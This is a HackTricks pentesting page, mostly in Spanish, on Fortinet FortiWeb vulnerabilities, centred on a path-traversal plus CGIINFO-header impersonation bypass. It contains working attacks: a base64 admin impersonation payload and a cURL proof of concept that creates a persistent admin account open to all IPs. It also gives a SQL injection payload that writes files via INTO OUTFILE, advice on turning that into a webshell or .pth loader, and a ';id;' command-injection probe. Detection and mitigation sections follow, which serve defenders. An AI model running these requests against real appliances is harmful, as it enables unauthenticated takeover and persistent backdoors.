Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Descripción general
Fortinet FortiWeb expone un despachador CGI centralizado en /cgi-bin/fwbcgi. Una cadena de dos bugs permite que un atacante remoto no autenticado:
- Alcanzar
fwbcgiiniciando la URL con un API prefix válido y recorriendo directorios. - Suplantar a cualquier usuario (incluido el
adminincorporado) mediante el envío de un HTTP header especial que el CGI acepta como identidad.
Aviso del proveedor: FG‑IR‑25‑910 (CVE‑2025‑64446). Se ha observado explotación en entornos reales para crear usuarios admin persistentes.
Versiones afectadas (según documentación pública):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 devuelve HTTP 403 para la prueba de traversal mostrada abajo.
Prueba rápida de vulnerabilidad
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Interpretación: HTTP 200 → probablemente vulnerable; HTTP 403 → parcheado.
Cadena de causa raíz
- API-prefix path traversal to internal CGI
- Cualquier ruta de solicitud que comience con un prefijo de API válido de FortiWeb (p. ej.,
/api/v2.0/cmdb/o/api/v2.0/cmd/) puede realizar path traversal con../hasta/cgi-bin/fwbcgi.
- Minimal-body validation bypass
- Una vez alcanzado
fwbcgi, una primera barrera realiza una comprobación permisiva de JSON basada en un archivo por ruta bajo/var/log/inputcheck/. Si el archivo está ausente, la comprobación pasa inmediatamente. Si está presente, el body solo necesita ser JSON válido. Usa{}como body mínimo válido.
- Header-driven user impersonation
- El programa lee la variable de entorno CGI
HTTP_CGIINFO(derivada del header HTTPCGIINFO), la decodifica Base64, parsea JSON y copia atributos directamente en el contexto de login, estableciendo el domain/VDOM. Claves de interés: username,loginname,vdom,profname- Ejemplo de JSON para suplantar al administrador integrado:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Base64 de lo anterior (como se usa en el mundo real):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
End-to-end abuse pattern (unauthenticated → admin)
- Alcanzar
/cgi-bin/fwbcgivia an API-prefix traversal. - Proveer cualquier cuerpo JSON válido (p. ej.,
{}) para satisfacer la comprobación de entrada. - Enviar la cabecera
CGIINFO: <base64(json)>donde el JSON define la identidad objetivo. - Hacer POST del JSON de backend esperado por
fwbcgipara realizar acciones privilegiadas (p. ej., crear un usuario administrador para persistencia).
Minimal cURL PoC
- Sondear exposición de traversal:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- Suplantar a admin y crear un nuevo usuario local admin:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Notas:
- Cualquier cuerpo JSON válido es suficiente (p. ej.,
{}) si/var/log/inputcheck/<path>.jsonno existe. - El esquema de acción es FortiWeb-internal; el ejemplo anterior añade un administrador local con privilegios completos.
Otras vulnerabilidades de FortiWeb 2025 que vale la pena comprobar rápidamente
Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)
- Affects 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Fixed in 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.
- Fallo:
get_fabric_user_by_token()usa el valorAuthorization: Bearer <token>directamente en una consulta SQL. El atacante suministra SQL que se ejecuta como usuario MySQL y puede escribir archivos medianteSELECT ... INTO OUTFILE, obteniendo ejecución de código (webshell/.pthloader). - Superficie de ataque típica:
/api/fabric/device/status(and other Fabric Connector endpoints) over HTTP/HTTPS on the management plane. - Prueba rápida para SQLi:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
- Weaponization: write a
.pthinto FortiWeb’s Python site-packages that importsos;os.system(...)on interpreter start, or drop a CGI under the webroot. Recargar los servicios ejecutará el payload. - Indicadores de hunting: Authorization headers containing quotes/UNION/SELECT; archivos inesperados bajo
/data/lib/python*/site-packages/o/data/var/waf/html/ROOT/cgi-bin/.
FortiCloud SSO signature bypass (CVE-2025-59719)
- Improper SAML signature verification permite a un atacante falsificar FortiCloud SSO responses e iniciar sesión como admin sin credenciales.
- Solo explotable cuando FortiCloud SSO login está habilitado (se activa automáticamente si el appliance fue registrado vía GUI, salvo que se desmarcara la checkbox).
- Affected (per PSIRT): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Patched in 8.0.1 / 7.6.5 / 7.4.10.
OS command injection in management plane (CVE-2025-58034)
- Affected: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Fixed in 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
- Practical probe (non-destructive): enviar un parámetro que contenga
;id;a los management HTTP endpoints y observar respuestas 500 con salida del comando; bloquear o parchear inmediatamente si se aprecia cualquier salida.
Detection
- Requests reaching
/cgi-bin/fwbcgivia API-prefix paths containing../(e.g.,/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi). - Presence of header
CGIINFOwith Base64 JSON containing keysusername/loginname/vdom/profname. - Fabric Connector SQLi: Authorization headers containing SQL metacharacters, archivos súbitos en Python site-packages/CGI dirs, accesos a
/api/fabric/device/statusdesde IPs de Internet. - FortiCloud SSO: issuers SAML inesperados o valores de audience en
/var/log/ssod. - Backend artifacts:
- Per-path files under
/var/log/inputcheck/(gate configuration). - Creación inesperada de admin y cambios de configuración.
- Validación rápida: la traversal probe devolviendo 200 (expuesto) vs 403 (bloqueado en builds parchados).
Mitigation
- Actualizar a las releases corregidas (ejemplos: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) según el advisory del vendor.
- Parchear los demás flaws de 2025: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2).
- Hasta aplicar parches:
- No exponga el management plane de FortiWeb a redes no confiables.
- Añadir reglas de reverse-proxy/WAF para bloquear:
- Rutas que empiezan con
/api/y contienen../cgi-bin/fwbcgi. - Solicitudes que porten un header
CGIINFO. - Llamadas de Fabric Connector con metacaracteres SQL en
Authorization. - Endpoints SAML desde Internet si FortiCloud SSO no se usa.
- Monitorear y alertar sobre los indicadores de detection anteriores.
References
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
- CVE-2025-25257 — Fabric Connector pre-auth SQLi PoC
- FortiCloud SSO signature bypass overview (CVE-2025-59719)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


